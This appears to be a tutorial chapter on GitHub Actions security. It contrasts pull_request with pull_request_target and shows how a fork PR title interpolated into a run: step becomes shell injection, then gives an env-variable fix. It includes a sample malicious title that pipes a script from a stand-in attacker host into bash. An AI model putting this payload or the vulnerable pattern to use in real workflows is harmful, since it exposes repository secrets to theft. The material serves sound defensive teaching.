Fork PRs and Pull Request Target Dangers
Every trigger you’ve used so far in this course has run in a context you controlled — your own pushes, your own PR activity. Fork pull requests break that assumption. Anyone on the internet can open a PR against a public repository, and the moment they do, some of the text in that PR — its title, its branch name, its commit messages — is something they wrote, not you. If your workflow ever treats that text as trusted, you’ve handed a stranger a way to run their own commands using your repository’s permissions.
pull_request vs pull_request_target
Both events fire when someone opens or updates a pull request, but they run under very different levels of trust.
| Scope | pull_request | pull_request_target |
|---|---|---|
| Runs in the context of | The PR’s own branch (the fork) | Your base repository |
GITHUB_TOKEN | Read-only by default, scoped down | Full permissions as configured |
| Access to repository secrets | No | Yes |
| Typical use | Running tests against untrusted PR code | Commenting, labeling, triage automation |
pull_request is the safe default you’ve used throughout this course for CI jobs: it deliberately withholds secrets and write access, because it expects to be running a stranger’s code. pull_request_target exists for the opposite case — workflows that need to act on a pull request (leaving a comment, applying a label) without necessarily running any of the fork’s code. To do that safely, it grants the base repository’s full GITHUB_TOKEN and secrets, on the theory that the workflow itself only ever touches trusted code from your default branch.
The danger shows up the moment that theory breaks — when a pull_request_target workflow also pulls in something from the fork, whether that’s checking out the PR’s code directly or just reading a piece of text the PR author controls.
Note
Recent versions of actions/checkout (v5 and later, including the SHA you pinned in earlier chapters) added a default safeguard: when triggered by pull_request_target, checkout now refuses to check out the fork’s actual commit unless you explicitly opt in with allow-unsafe-pr-checkout. That closes one specific door — accidentally running the fork’s code. It doesn’t protect against the pattern below, which never checks out fork code at all.
The Vulnerability: Untrusted Text Straight Into run:
Here’s a workflow that looks harmless. It reacts to a pull request and echoes the PR’s title into a log line:
on:
pull_request_target:
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Greet
run: echo "Thanks for the PR titled: ${{ github.event.pull_request.title }}"The problem is where that title text ends up. GitHub Actions expands ${{ ... }} expressions before the shell ever sees the line — it’s a straight text substitution into the run: script, not a safely-escaped argument. Whatever the PR author typed as their title becomes literal shell syntax.
Someone opens a pull request titled:
"; curl https://attacker.example/steal.sh | bash #After expansion, the step that actually runs is:
echo "Thanks for the PR titled: "; curl https://attacker.example/steal.sh | bash #"The first echo runs harmlessly, and then the attacker’s curl | bash executes right alongside it — inside a job that, because this is pull_request_target, has access to every secret configured in your repository. A PR title is something anyone can set without ever needing write access to your repo. That’s the entire attack: no fork checkout required, no malicious code review to sneak past, just a title.
sequenceDiagram
participant Fork as Attacker (fork PR)
participant GH as GitHub Actions
participant Job as pull_request_target job
Fork->>GH: Opens PR with malicious title text
GH->>Job: Expands ${{ github.event.pull_request.title }} into run: script
Job->>Job: Shell executes expanded text as commands
Job->>Fork: Secrets exfiltrated (job has full repo secrets)
This same pattern applies to any field an outside contributor controls: PR title, branch name, commit message, issue body, comment text. If it can be typed by someone without write access, and it lands inside a run: block via ${{ }} expansion, it’s an injection vector.
The Fix: Pass It Through An Environment Variable Instead
The safe version never lets GitHub Actions substitute untrusted text directly into the script. Instead, hand it to the shell as an environment variable, and let the shell — not the workflow expression engine — handle it as data:
on:
pull_request_target:
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Greet
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Thanks for the PR titled: $PR_TITLE"The ${{ }} expansion still happens, but now it only ever sets the value of the PR_TITLE environment variable — it never gets pasted into the script text itself. The shell then substitutes $PR_TITLE as an ordinary variable reference, the same way it would with any other string, quotes and special characters included. The malicious title from earlier becomes a strange-looking but inert value: echo prints it verbatim, semicolons and all, and nothing after it executes.
Warning
This fix is specific to how the value is used, not which trigger fired the workflow. The same interpolation risk exists in a plain pull_request workflow too — it’s just far less dangerous there, because that context doesn’t have secrets to steal in the first place. The env: indirection is a good habit for any untrusted input, regardless of trigger.
The Rule Of Thumb
Before you write ${{ github.event.pull_request.<anything> }} — or any other field you don’t control — directly inside a run: block, ask whether that field’s value could be typed by an outside contributor. If it could, route it through env: first. It costs two extra lines and removes an entire class of vulnerability that has shown up repeatedly in real open-source workflows, not just as a theoretical concern.